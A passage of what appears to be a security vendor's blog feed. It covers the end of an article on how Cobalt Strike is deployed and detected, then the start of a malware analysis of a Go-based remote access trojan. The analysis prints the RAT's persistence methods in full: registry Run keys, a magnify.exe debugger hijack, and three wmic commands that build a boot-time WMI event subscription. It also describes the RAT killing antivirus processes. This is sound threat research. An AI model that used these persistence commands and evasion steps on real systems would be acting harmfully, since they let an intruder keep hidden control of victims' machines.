&lt;h2&gt;Supply Chain Attack&lt;span class="hx:absolute hx:-mt-20" id="supply-chain-attack"&gt;&lt;/span&gt;
&lt;a href="#supply-chain-attack" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;One of the biggest cybersecurity stories of 2020 was the SolarWinds supply
chain attack that compromised high-profile entities around the world. This
attack was done by an APT group known as NOBELIUM (UNC2452) leveraging the
&amp;ldquo;Orion&amp;rdquo; business software to distribute malware to private and public
organizations. Among the deployed malware was a Cobalt Strike loader dubbed
TEARDROP by FireEye. The variant was named
&lt;a href="https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware"target="_blank" rel="noopener"&gt;Raindrop&lt;/a&gt;
by Symantec. The TEARDROP dropper is a memory-only DLL that runs as a service
spawning a thread that pulls the Cobalt Strike payload from a fake JPG file.&lt;/p&gt;
&lt;p&gt;The Raindrop variant is built from a modified version of 7-ZIP source code. It
uses a different custom packer than TEARDROP, also leveraging steganography to
locate the start of the encoded payload. Once the encoded payload has been
located, it extracts, decrypts, and decompresses the data to be executed as
shellcode.&lt;/p&gt;
&lt;h3&gt;How to Detect?&lt;span class="hx:absolute hx:-mt-20" id="how-to-detect-1"&gt;&lt;/span&gt;
&lt;a href="#how-to-detect-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;It can often be difficult to detect if your organization has been the victim of
a supply chain attack. It can be especially hard to collect forensic evidence
for an attack when it could be mixed in with the code of legitimate and large
files. Due to the nature of
&lt;a href="https://intezer.com/blog/malware-analysis/securing-the-software-supply-chain/?utm_campaign=research-blog&amp;amp;utm_content=cobalt-strike-detect-this-persistent-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;supply chain attacks&lt;/a&gt;,
there are often a large number of machines in an organization infected at one
time. An action you can take is to run Intezer&amp;rsquo;s
&lt;a href="https://analyze.intezer.com/endpoint-analyses?utm_campaign=research-blog&amp;amp;utm_content=cobalt-strike-detect-this-persistent-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;live endpoint scanner&lt;/a&gt; across
all machines in the organization, to get immediate visibility over all running
code and quickly identify infected machines by detecting any traces of
malicious code found in-memory. An example of a machine with Raindrop loading
Cobalt Strike is shown in the endpoint scan below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/08/cobalt-strike-detect-this-persistent-threat/images/fig4.png" title="Intezer Analyze endpoint scan result for Raindrop loading and executing a fileless Cobalt Strike payload." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Intezer Analyze endpoint scan result for Raindrop loading and executing a fileless Cobalt Strike payload.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Living off the Land (LotL)&lt;span class="hx:absolute hx:-mt-20" id="living-off-the-land-lotl"&gt;&lt;/span&gt;
&lt;a href="#living-off-the-land-lotl" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Living off the Land (LotL) is the attack process of using legitimate and signed
tools, usually provided within the operating system, to execute malware. This
is a powerful tactic as it can result in unauthorized code being executed
within the memory space of a trusted process, evading malware defenses by
flying under the radar. This type of tactic also makes incident response
difficult, since analysts can&amp;rsquo;t just filter out known legitimate processes
during triage. All processes must be inspected in order to find that one needle
in the haystack.&lt;/p&gt;
&lt;p&gt;One popular tool used for LotL operations is the Microsoft.NET framework
utility called
&lt;a href="https://docs.microsoft.com/en-us/visualstudio/msbuild/walkthrough-using-msbuild?view=vs-2019"target="_blank" rel="noopener"&gt;MSBuild&lt;/a&gt;.
MSBuild is the build platform used for Microsoft and Visual Studio. Visual
Studio relies on MSBuild to build projects for testing and releases. Attackers
are able to pass MSBuild.exe, a project (.proj) file, to build and execute. The
payload, usually shellcode, is injected into another process. This attack is
effective for attackers as many sandboxing solutions are not able to handle
project files and struggle with fileless malware. This technique was observed
by Cisco Talos researchers in
&lt;a href="https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html"target="_blank" rel="noopener"&gt;2020&lt;/a&gt;
to deploy Cobalt Strike.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/08/cobalt-strike-detect-this-persistent-threat/images/fig5.png" title="Project file code." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Project file code.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;As shown above, the project file has an encoded and compressed payload. This
payload is decrypted, decompressed, and then copied into memory. The shellcode
is then executed in a new thread.&lt;/p&gt;
&lt;h3&gt;How to Detect?&lt;span class="hx:absolute hx:-mt-20" id="how-to-detect-2"&gt;&lt;/span&gt;
&lt;a href="#how-to-detect-2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;An endpoint with a system injected with Cobalt Strike via MSBuild is shown
below. Note the process tree at the bottom indicating the &amp;ldquo;fileless code.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/08/cobalt-strike-detect-this-persistent-threat/images/fig6.png" title="Intezer Analyze endpoint scan of a Cobalt Strike-infected system via LotL technique." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Intezer Analyze endpoint scan of a Cobalt Strike-infected system via LotL technique.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Executables (EXE) Files&lt;span class="hx:absolute hx:-mt-20" id="executables-exe-files"&gt;&lt;/span&gt;
&lt;a href="#executables-exe-files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;There is an acronym in the United States Armed Forces called &amp;ldquo;KISS.&amp;rdquo; KISS
stands for &amp;ldquo;Keep it simple, stupid!&amp;rdquo; Sometimes simple is better, and another
way for Cobalt Strike to be deployed is in a simple Windows EXE form. This
requires either social engineering tactics to get the target to execute the
malware or another program/script to execute the file. This process involves
creation of a thread that sets up a named pipe for privilege escalation. Once
the shellcode is written to the named pipe, it is decrypted and executed in a
separate thread.&lt;/p&gt;
&lt;h3&gt;How to Detect?&lt;span class="hx:absolute hx:-mt-20" id="how-to-detect-3"&gt;&lt;/span&gt;
&lt;a href="#how-to-detect-3" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;An example of one of these payloads is shown in the
&lt;a href="https://analyze.intezer.com/files/e233fc08c1a41ed8cc7d32c8e851614aeb159f95470f4491262c818137591afc?utm_campaign=research-blog&amp;amp;utm_content=cobalt-strike-detect-this-persistent-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;analysis&lt;/a&gt;
below. Notice how the Cobalt Strike code is only shown when it is executed and
found in-memory.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/08/cobalt-strike-detect-this-persistent-threat/images/fig7.png" title="Cobalt Strike found via memory analysis." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Cobalt Strike found via memory analysis.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;How can Cobalt Strike be detected and remediated?&lt;span class="hx:absolute hx:-mt-20" id="how-can-cobalt-strike-be-detected-and-remediated"&gt;&lt;/span&gt;
&lt;a href="#how-can-cobalt-strike-be-detected-and-remediated" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Due to the many ways Cobalt Strike is deployed, detection can be hard. The use
of shellcode, encoding, compression, obfuscated strings, process injection,
hashing algorithms, domain fronting, different communication channels, and
dynamically loaded libraries all give malware and network defenses a run for
their money.&lt;/p&gt;
&lt;h3&gt;Static Analysis&lt;span class="hx:absolute hx:-mt-20" id="static-analysis"&gt;&lt;/span&gt;
&lt;a href="#static-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Static analysis involves examining the file using various techniques without
actually having to execute the file itself. Static analysis can involve hashing
the file and finding intel on it, taking a look at the strings to see if there
are functionality or network indicators, or checking imports and running
signatures such as YARA for the file. Although useful, static analysis on its
own is probably not sufficient to detect Cobalt Strike.&lt;/p&gt;
&lt;p&gt;Using hash-based identification of Cobalt Strike is insufficient, since each
payload will be encrypted with different keys and each configuration will
uniquely change the hash value. It is trivial to generate a new payload for
each new target.&lt;/p&gt;
&lt;p&gt;Checking strings may be insufficient also. Strings for pipe names are
dynamically generated and incorporate random numbers, meaning they can change
every time the malware is executed. Encrypted payloads will also obfuscate
useful strings from static analysis.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware"target="_blank" rel="noopener"&gt;API Hashing&lt;/a&gt;
algorithms employed by Cobalt Strike hide imports from static analysis
techniques. Signature-based detection is great for detecting malware, but due
to the versatility of Cobalt Strike&amp;rsquo;s deployment using multiple stages and
encrypted/obfuscated payloads, an analyst may only be able to detect that a
file is going to load and execute a payload in-memory. Without dynamic
analysis, they won&amp;rsquo;t be able to detect exactly what that payload will be.&lt;/p&gt;
&lt;h3&gt;Dynamic Analysis&lt;span class="hx:absolute hx:-mt-20" id="dynamic-analysis"&gt;&lt;/span&gt;
&lt;a href="#dynamic-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Dynamic analysis is the process of executing the suspect file in order to
analyze its behavior and how it affects the environment it runs in. Dynamic
analysis can open up new areas to explore as one can follow the malware through
each stage of its deployment and functionality. Dynamic analysis can get the
malware to unpack, decode, or download additional stages. These new stages are
then subject to further dynamic analysis as well as the previously mentioned
static analysis techniques.&lt;/p&gt;
&lt;p&gt;Dynamic analysis does not have many limitations, although some malware includes
functionality to detect if it is being observed or running inside a sandboxed
environment. There is also the possibility that during dynamic analysis, areas
of malicious code may not be intentionally executed, and thus not detected in
the behavior. The best way to detect malicious code is via genetic code
analysis which is done automatically in Intezer Analyze.&lt;/p&gt;
&lt;h3&gt;Combination of Several Techniques&lt;span class="hx:absolute hx:-mt-20" id="combination-of-several-techniques"&gt;&lt;/span&gt;
&lt;a href="#combination-of-several-techniques" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The best way to detect Cobalt Strike code is through a combination of dynamic,
static, and genetic analysis. Let&amp;rsquo;s take a suspicious looking document from an
unknown entity as an example. Before opening the document, we submit it to
Intezer Analyze and get the verdict, as shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/08/cobalt-strike-detect-this-persistent-threat/images/fig8.png" title="Intezer Analyze result showing in-memory Cobalt Strike code." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Intezer Analyze result showing in-memory Cobalt Strike code.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The document drops and executes Cobalt Strike in the memory space of
&lt;code&gt;rundll32.exe&lt;/code&gt;. Signatures are leveraged to show capabilities and file
characteristics. Under the &amp;ldquo;TTPs&amp;rdquo; tab the user can see the
techniques/capabilities employed by the malicious document.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/08/cobalt-strike-detect-this-persistent-threat/images/fig9.png" title="TTPs section showing capabilities detected during execution." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;TTPs section showing capabilities detected during execution.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The document displays interesting techniques such as macros with
auto-execution, network activity with a unique user agent, office process
starting martian subprocess, and process injection. You can also dive deeper
into capabilities specific to the injected Cobalt Strike process.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2021/08/cobalt-strike-detect-this-persistent-threat/images/fig10.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The &amp;ldquo;IoCs&amp;rdquo; tab in Intezer Analyze shows indicators that can help you pivot and
search in your environment during investigations to map out the scope of an
attack. IoCs provide you with file hashes and network indicators such as URLs,
and IP addresses being contacted through irregular ports.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/08/cobalt-strike-detect-this-persistent-threat/images/fig11.png" title="IoCs tab showing file and network indicators." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;IoCs tab showing file and network indicators.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The &amp;ldquo;Behavior&amp;rdquo; tab shows a more in-depth analysis of the file&amp;rsquo;s behavior, where
you can see the process tree, network activity, screenshots and file/registry
activity.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/08/cobalt-strike-detect-this-persistent-threat/images/fig12.png" title="Behavior tab showing observed behavior during sandbox execution." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Behavior tab showing observed behavior during sandbox execution.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;The Only Abused Pen Testing Tool?&lt;span class="hx:absolute hx:-mt-20" id="the-only-abused-pen-testing-tool"&gt;&lt;/span&gt;
&lt;a href="#the-only-abused-pen-testing-tool" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Cobalt Strike is
&lt;a href="../../../2020/09/advanced-pasta-threat-mapping-malware-use-of-open-source-offensive-security-tools/"&gt;not the only&lt;/a&gt;
penetration testing or legitimate tool that has been co-opted and abused by
threat actors. In the past, tools such as
&lt;a href="https://github.com/a0rtega/pafish"target="_blank" rel="noopener"&gt;Pafish&lt;/a&gt; (Paranoid Fish) have been
&lt;a href="https://cdn2.hubspot.net/hubfs/1903456/Whitepapers/CopyKittens.pdf"target="_blank" rel="noopener"&gt;used by&lt;/a&gt;
Iranian actors in their tooling for virtual machine (VM) detection. The
&amp;ldquo;Sysinternals&amp;rdquo; suite has been used extensively by threat actors. Most notably,
&lt;a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec"target="_blank" rel="noopener"&gt;PsExec&lt;/a&gt; has
been used in high-profile attacks such as the 2017
&lt;a href="https://www.theregister.com/2017/06/28/petya_notpetya_ransomware/"target="_blank" rel="noopener"&gt;NotPetya&lt;/a&gt;
global ransomware outbreak.&lt;/p&gt;
&lt;p&gt;More recently, legitimate and penetration testing tools for the cloud have been
used by threat actors. The threat actor TeamTNT has
&lt;a href="../../../2020/09/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/"&gt;used&lt;/a&gt;
Weave Scope, a trusted tool which gives the user full access to their cloud
environment, and is integrated with Docker, Kubernetes, the Distributed Cloud
Operating System (DC/OS), and AWS Elastic Compute Cloud (EC2). The attacker
installs this tool in order to map the cloud environment of their victim and
execute system commands without needing to deploy malicious code on the server.
The same group has also been
&lt;a href="https://www.cadosecurity.com/post/botnet-deploys-cloud-and-container-attack-techniques"target="_blank" rel="noopener"&gt;documented&lt;/a&gt;
using the penetration testing tool
&lt;a href="https://github.com/brompwnie/botb"target="_blank" rel="noopener"&gt;Break Out The Box&lt;/a&gt; (BOTB) for cloud and
containerized environments.&lt;/p&gt;
&lt;h2&gt;Get Started for Free&lt;span class="hx:absolute hx:-mt-20" id="get-started-for-free"&gt;&lt;/span&gt;
&lt;a href="#get-started-for-free" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;With &lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=cobalt-strike-detect-this-persistent-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Intezer Analyze&lt;/a&gt;, you can analyze any
suspicious files that you encounter, including non-executable files such as
Microsoft Office documents, scripts, archives, and more. Stay on top of
analyzing and classifying Cobalt Strike among other threats.
&lt;a href="https://analyze.intezer.com/create-account?utm_campaign=research-blog&amp;amp;utm_content=cobalt-strike-detect-this-persistent-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Get started&lt;/a&gt; for free and start
with 50 file uploads per month.&lt;/p&gt;</description></item><item><title>Klingon RAT Holding on for Dear Life</title><link>https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/</link><pubDate>Thu, 17 Jun 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/</guid><description>
&lt;p&gt;With more malware written in Golang than ever before, the threat from Go-based
Remote Access Trojans (RATs) has never been higher. Not only has the number of
Go malware increased but also the sophistication of these threats. This is a
technical analysis of an advanced RAT written in Go that we are calling Klingon
RAT. The RAT is well-featured and resilient due to its multiple methods of
persistence and privilege escalation. It was determined that the RAT is being
used by cybercriminals for financial gain. It is important to stay on top of
this threat as it will degrade Antivirus security through killing targeted
processes and hiding communications through encrypted channels.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;When searching our various hunting platforms for malware one particular sample
caught our eye. This Go sample, active since at least 2019, was flagged as
malicious but mostly unique code by our platform. It is not common to find RATs
with very few code reuse. Threat actors reuse code all the time to expedite
malware development. Since it is rare to see a RAT with such a large amount of
code written from scratch, we dug deeper down the gopher hole. This RAT is full
of tactics to combat Antiviruses, maintain persistence and escalate privileges.
It communicates encrypted with its Command and Control (C2) server using TLS
and can receive commands allowing the attacker to fully control the infected
machine.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig1.png" title="Figure 1: Old analysis with unique code" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: Old analysis with unique code&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Initialization&lt;span class="hx:absolute hx:-mt-20" id="initialization"&gt;&lt;/span&gt;
&lt;a href="#initialization" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The malware starts by creating an object whose purpose is to store information
about the victim machine, controller setup and paths to dropped utilities.&lt;/p&gt;
&lt;p&gt;It will then run a WMI command
(&lt;code&gt;wmic process get Caption,ParentProcessId,ProcessId&lt;/code&gt;) to get all running
processes. The returned value is parsed and stored in a slice. The malware will
check this process list and match it against a list of targeted Antivirus
processes. The &lt;code&gt;taskkill&lt;/code&gt; command is used to kill matching processes and child
processes. The targeted processes are
&lt;a href="https://gist.github.com/aslefhewqiwbepqwefbpqsciwueh/a72fc5fee38a479e48d79710cd64d7c0"target="_blank" rel="noopener"&gt;linked here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To start gathering the information on the victim machine, it will get the OS
version using the &lt;code&gt;ver&lt;/code&gt; command, then grab the username. A GET request is made
to &lt;a href="https://api.ipify.org"target="_blank" rel="noopener"&gt;https://api.ipify.org&lt;/a&gt; to get the public IP address.
Finally in this function, it will fetch the machine ID from the registry key
&lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography&lt;/code&gt; as shown in Figure 2. This
ID will later be sent in a beacon to the Command and Control (C2) server.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig2.png" title="Figure 2: Function that fetches the key" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: Function that fetches the key&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Dependency Deployment&lt;span class="hx:absolute hx:-mt-20" id="dependency-deployment"&gt;&lt;/span&gt;
&lt;a href="#dependency-deployment" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The malware will decompress and drop three Gzip embedded files into the
&lt;code&gt;%temp%&lt;/code&gt; directory. The dropped files are utilities for the threat actor to use
once a C2 channel has been established. The files dropped are &lt;code&gt;Foxmail&lt;/code&gt;,
&lt;code&gt;PAExec&lt;/code&gt; and &lt;code&gt;LSASS&lt;/code&gt;, shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig3.png" title="Figure 3: Head of embedded Foxmail.exe file, Gzip compressed" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 3: Head of embedded Foxmail.exe file, Gzip compressed&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig4.png" title="Figure 4: Dropped dependencies" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: Dropped dependencies&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Next, the malware will check to see if it is installed at
&lt;code&gt;C:\Users\IEUser\AppData\Local\Windows Update\updater10.exe&lt;/code&gt;. If not installed,
the malware will be relocated to the path.&lt;/p&gt;
&lt;h3&gt;Persistence&lt;span class="hx:absolute hx:-mt-20" id="persistence"&gt;&lt;/span&gt;
&lt;a href="#persistence" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Persistence can be set up in multiple ways, some of which require admin
privileges. Privilege escalation will be covered in a later section.&lt;/p&gt;
&lt;h4&gt;Registry Run Key: Current User&lt;span class="hx:absolute hx:-mt-20" id="registry-run-key-current-user"&gt;&lt;/span&gt;
&lt;a href="#registry-run-key-current-user" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The following registry entry is created:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Key:&lt;/strong&gt;
&lt;code&gt;Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; &lt;code&gt;Windows Updater&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Value:&lt;/strong&gt;
&lt;code&gt;&amp;quot;C:\Users\{USER}\AppData\Local\Windows Update\updater10.exe&amp;quot; -1 -0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/06/klingon-rat-holding-on-for-dear-life/images/fig5.png" title="Figure 5: Registry Run Key" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: Registry Run Key&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h4&gt;Registry Run Key: Local Machine&lt;span class="hx:absolute hx:-mt-20" id="registry-run-key-local-machine"&gt;&lt;/span&gt;
&lt;a href="#registry-run-key-local-machine" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;A similar entry as the above is created at:
&lt;code&gt;Computer\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Image File Execution Options Injection&lt;span class="hx:absolute hx:-mt-20" id="image-file-execution-options-injection"&gt;&lt;/span&gt;
&lt;a href="#image-file-execution-options-injection" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Image File Execution Options are configured by the Windows registry with the
intention of being used for debugging. This can be leveraged for persistence as
any executable can be used as a &amp;ldquo;debugger.&amp;rdquo; The malware ensures the following
keys exist:
&lt;code&gt;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Accessibility&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The Image File Execution Options key has the following entries set:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Data&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Configuration&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mangnifierpane&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Debugger&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;quot;C:\Users\IEUser\AppData\Local\Windows Update\updater10.exe&amp;quot; -1 -0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;This causes the binary for Microsoft Screen Magnifier (&lt;code&gt;magnify.exe&lt;/code&gt;)
accessibility tool to be backdoored and execute the malware.&lt;/p&gt;
&lt;h4&gt;WMI Event Subscription&lt;span class="hx:absolute hx:-mt-20" id="wmi-event-subscription"&gt;&lt;/span&gt;
&lt;a href="#wmi-event-subscription" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;In this option the malware utilizes &lt;code&gt;WMIC&lt;/code&gt; to create an event subscription for
persistence. Three commands are executed to create events in the
&lt;code&gt;root\subscription&lt;/code&gt; namespace that will start the payload within 60 seconds of
Windows booting up. The commands executed are:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-batch" data-lang="batch"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmic /namespace:&amp;#39;\root\subscription&amp;#39; PATH __EventFilter CREATE Name=&amp;#39;GuacBypassFilter&amp;#39;, EventNameSpace=&amp;#39;root\cimv2&amp;#39;, QueryLanguage=&amp;#39;WQL&amp;#39;, Query=&amp;#39;SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA &amp;#39;Win32_PerfFormattedData_PerfOS_System&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmic /namespace:&amp;#39;\root\subscription&amp;#39; PATH CommandLineEventConsumer CREATE Name=&amp;#39;GuacBypassConsumer&amp;#39;, ExecutablePath=&amp;#39;&lt;span class="s2"&gt;&amp;#34;C:\Users\IEUser\AppData\Local\Windows Update\updater10.exe&amp;#34;&lt;/span&gt; -1 -0&amp;#39;, CommandLineTemplate=&amp;#39;&lt;span class="s2"&gt;&amp;#34;C:\Users\IEUser\AppData\Local\Windows Update\updater10.exe&amp;#34;&lt;/span&gt; -1 -0&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmic /namespace:&amp;#39;\root\subscription&amp;#39; PATH __FilterToConsumerBinding CREATE Filter=&amp;#39;__EventFilter.Name=&amp;#39;GuacBypassFilter&lt;span class="s2"&gt;&amp;#34;, Consumer=&amp;#39;CommandLineEventConsumer.Name=&amp;#39;GuacBypassConsomer&amp;#34;&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Winlogon Helper DLL&lt;span class="hx:absolute hx:-mt-20" id="winlogon-helper-dll"&gt;&lt;/span&gt;
&lt;a href="#winlogon-helper-dll" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The malware can modify the &lt;code&gt;Winlogon&lt;/code&gt; key in order to run itself during Windows
logon. The path of the executable is appended to the &lt;code&gt;Userinit&lt;/code&gt; entry.&lt;/p&gt;
